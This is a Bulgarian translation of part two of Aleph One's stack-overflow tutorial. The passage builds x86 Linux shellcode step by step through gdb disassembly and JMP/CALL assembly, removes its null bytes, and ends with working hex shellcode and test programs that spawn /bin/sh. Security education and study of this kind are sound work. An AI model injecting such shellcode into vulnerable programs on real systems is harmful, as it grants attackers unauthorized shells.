BugTraq, r00t, и Underground.Org
ви представят:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
от Aleph One
aleph1@underground.org
(Българска Версия)
(преведено от |Razor|)
Заб. Текста ограден в (* ... *) е пояснение вмъкнато от мен
/ Част 2 \
Shell Code
----------
Сега след като знаем, че лесно можем да променим адреса, на който дадена
функция `прескача` след завършването си и следователно хода на изпълнение
на
програмата нека помислим какво бихме искали да направим? В повечето случаи
е най-добре просто да стартираме отделен shell. От него след това можем да
изпълняваме всякакви команди. Но какво ще стане ако в програмата няма код
кой-
то да стартира нова обвивка (shell)? Как бихме могли да сложим наши собствени
иструкции в паметта? Отговора е да поставим необходимите инструкции в буфера,
с който ще препълваме, след което да презапишем връщания адрес, така че той
да
сочи нашия буфер. Приемайки, че стека започва от адрес 0xFF и че с S онзачава-
ме кода, който искаме да изпълним, нашият стек би изглеждал по следния начин:
нисък ад- DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF висок адрес
рес 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF на паметта
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
връх на дъно на
стека стека
Ето примерна програма, която стартира shell
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
За да разберем как изглежда програмата приведена към асемблер, първо е ком-
пилираме, а след това стартираме gdb. Не забравяйте да използувате параметъ-
ра `-static` на компилатора. В противен случай кодът за системната функция
execve няма да бъде включен.
------------------------------------------------------------------------------
$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
Нека разберем за какво става въпрос в горния код:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
(*Това е процедурния пролог, който разгледахме в предишната глава*)
(*заделяне на 2 указателя за стрингове. Знаем че сължината на ука-
зател е 4 байта или общо стават 8 *)
0x8000133 <main+3>: subl $0x8,%esp
(*Еквивалентно на C е: *)
char *name[2];
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
(*копиране стойността на адрес 0x80027b8 (на него е "/bin/sh") в
първия указател на name[]. Това е аналогично на: *)
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
(*копиране на NULL (0x0) във втория указател на name[]. Това
е също като:*)
name[1] = NULL;
(*от тук започва предаването на аргументите към execve() (както каза-
хме в обратен ред*)
0x8000144 <main+20>: pushl $0x0
(*пускаме в стека NULL (последният параметър) *)
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
(*зареждаме адреса на name[] в EAX и той отива в кюпа ;) *)
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
(*съхраняваме адреса и на стринга "/bin/sh" в EAX,след което го
пъ-
хаме на върха*)
0x800014e <main+30>: call 0x80002bc <__execve>
(*и най-накрая извикваме execve() *)
------------------------------------------------------------------------------
Тежко,а? Ама тежкото тепърва се започва. Предстои ни на деасамблираме execve()
Аргументите към системни извиквания (system calls) се предават чрез регистрите,
а използуването на тези `call` става чрез извикване на софтуерно прекъсване(int).
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
(*Е, това си е пак пролога*)
0x80002c0 <__execve+4>: movl $0xb,%eax
(*копиране на 0xb (или казано по десетически 11 :) ) в EAX. Това е индек-
сът в таблицата на системни повиквания - 11=execve. *)
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
(*както казахме параметрите при системни повиквания не се предават както
при функциите чрез стека, а чрез регистрите. Редът отгоре копира
"/bin/sh" в EBX *)
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
(*копиране на адреса на name[] в ECX *)
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
(*копиране на адреса на NULL в EDX*)
0x80002ce <__execve+18>: int $0x80
(*извикване на прекъсване $0x80 - преминаване в kernel-a *)
------------------------------------------------------------------------------
И така както се вижда и execve() не е нищо сложно. Всичко, от което се
нуждаеме, за да го направим е:
- стрингът "/bin/sh" някъде в паметта (разбира се завършен с NULL)
- адресът на стринга "/bin/sh"
- копираме 0xb в EAX
- копираме адресът на адреса на стринга в EBX
- копираме адресът на стринга в ECX
- копираме адреса на NULL в EDX
- извикваме прекъсване $0x80
Но какво ще стане ако изпълнението на execve() бъде провалено по няка-
къв начин? Програмата ще продължи изпълнението на инструкциите указани в
стека, които всъщност може да съдържат случайна информация, което може да
доведе до всякакви непредвидени резултати. Целта ни все пак е програмата да
си свърши работата и да не се усети, че нещо е пипано дори да възникнат гре-
шки. За да направим това трябва да добавим `exit` след извикването на
execve(). Но как изглежда системната фукнция `exit`?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
$ gcc -o exit -static exit.c
$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
Та значи всъщност системната функция `exit` прави следното: копира 0x1
в EAX, копира изходния код в EBX и извиква прекъсване $0x80. Това е всичко.
Повечете програми връщат 0 при изхода си за да покажат, че не са възникнали
грешки по време на тяхното изпълнение. Сега написаните горе стъпките се
увеличават с три броя:
- стрингът "/bin/sh" някъде в паметта (разбира се завършен с NULL)
- адресът на стринга "/bin/sh"
- копираме 0xb в EAX
- копираме адресът на адреса на стринга в EBX
- копираме адресът на стринга в ECX
- копираме адреса на NULL в EDX
- извикваме прекъсване $0x80
- копираме 0x1 в EAX
- копираме 0x0 в EBX
- извикваме прекъсване $0x80
Нека се опитаме да представим горните стъпки написани на асемблер
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
Сега възникна обаче нов проблем...не знаем къде в паметта е кода, кой-
то искаме да експлойтнем (и съответно стринга "/bin/sh", който е
непосре-
дствено след него). Единият вариант е да използуваме инструкциите JMP и
CALL. Тези две инструкции могат да използуват относително адресиране спря-
мо IP (*Instruction Pointer - вж. част 1*), което означава, че можеме да
се прехвърлиме на дадено отместване от текущото IP без да знаем точния му
адрес в паметта. Ако сложим инструкция `call` точно преди стринга "/bin/sh"
и инструкция JMP след нея, адресът на стринга ще бъде поставен в стека като
връщан адрес когато се изпълни `call`. Всичко, което после трябва да на-
правим е да копираме този адрес в регистър. Инструкцията CALL може просто
да извиква началото на кода, който направихме отгоре. Сега нека предполо-
жим, че с J заместваме инструкцията JMP, с C -инструкцията CALL, а с s
стринга. Сега стека ще изглежда така:
нисък ад- DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF висок адрес
рес 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF на паметта
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
връх на дъно на
стека стека
С тези промени, използувайки относителни адреси и записвайки по колко бай-
та в паметта отнема всяка инструкция, нашия код би изглеждал така:
------------------------------------------------------------------------------
jmp отместване от call # 2 байта
popl %esi # 1 байт
movl %esi,array-offset(%esi) # 3 байта
movb $0x0,nullbyteoffset(%esi)# 4 байта
movl $0x0,null-offset(%esi) # 7 байта
movl $0xb,%eax # 5 байта
movl %esi,%ebx # 2 байта
leal array-offset,(%esi),%ecx # 3 байта
leal null-offset(%esi),%edx # 3 байта
int $0x80 # 2 байта
movl $0x1, %eax # 5 байта
movl $0x0, %ebx # 5 байта
int $0x80 # 2 байта
call offset-to-popl # 5 байта
/bin/sh - стрингът.
------------------------------------------------------------------------------
След като изчислим отместванията от jmp до call, от call до popl, от
адреса на стринга до адреса на масива и от адреса на стринга до NULL, полу-
чаваме следния код:
------------------------------------------------------------------------------
jmp 0x26 # 2 байта
popl %esi # 1 байт
movl %esi,0x8(%esi) # 3 байта
movb $0x0,0x7(%esi) # 4 байта
movl $0x0,0xc(%esi) # 7 байта
movl $0xb,%eax # 5 байта
movl %esi,%ebx # 2 байта
leal 0x8(%esi),%ecx # 3 байта
leal 0xc(%esi),%edx # 3 байта
int $0x80 # 2 байта
movl $0x1, %eax # 5 байта
movl $0x0, %ebx # 5 байта
int $0x80 # 2 байта
call -0x2b # 5 байта
.string \"/bin/sh\" # 8 байта
------------------------------------------------------------------------------
За да сме сигурни, че работи добре просто трябва да компилираме и старти-
раме програмата. Но има един проблем. Кодът описан в част 1 се модифицираше
самичък, но повечето операционни системи маркират адреса в паметта, където
е
изпълнимия в момента код като read-only т.е. в него не можем да записваме
ни-
що. За да преминем това ограничение, трябва да поставим искания код в стека
или
в сегмент определен за данни (*вж. началото на част 1*) и след това да преда-
дем изпълнението към него. За тази цел ще поставим нашия код в масив от данни
и ще го запишем в сегмента за данни. Първо се нуждаем от шестайсетично пред-
ставяне на всеки байт от този shell код. Използуваме `gdb`, за да го получим:
(* След като се зареди даден код в `gdb`, hex кодът на даден адрес в паметта
може да се получи посредством:
x/bx ADDRESS/OFFSET
Именно това е направено отдоклу. Най-накрая в примера е направена програма
testsc.c, която отваря shell посредством този shellcode*)
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
$ gcc -o testsc testsc.c
$ ./testsc
$ exit
$
------------------------------------------------------------------------------
Еврика...най-накрая получихме нашия shell code...но не съвсем. Остана само
един малък проблем. В повечето случаи ще се опитваме да препълним символен
бу-
фер, така че всякакви байтове със стойност 0x0 ще бъдат приети като край на
стринга и копирането му в буфера ще бъде прекратено. Следователни не трябва
да
има стойности 0x0 никъде в нашия shell код. Нека се опитаме да премахнем всич-
ки 0x0:
Проблемна инструкция: Замяна с:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
И ето вече нашия последен подобрен код:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
И накрая да тестваме програмата:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
$ gcc -o testsc2 testsc2.c
$ ./testsc2
$ exit
$
------------------------------------------------------------------------------
-------------------------------------- Край на част 2 ---------------------------------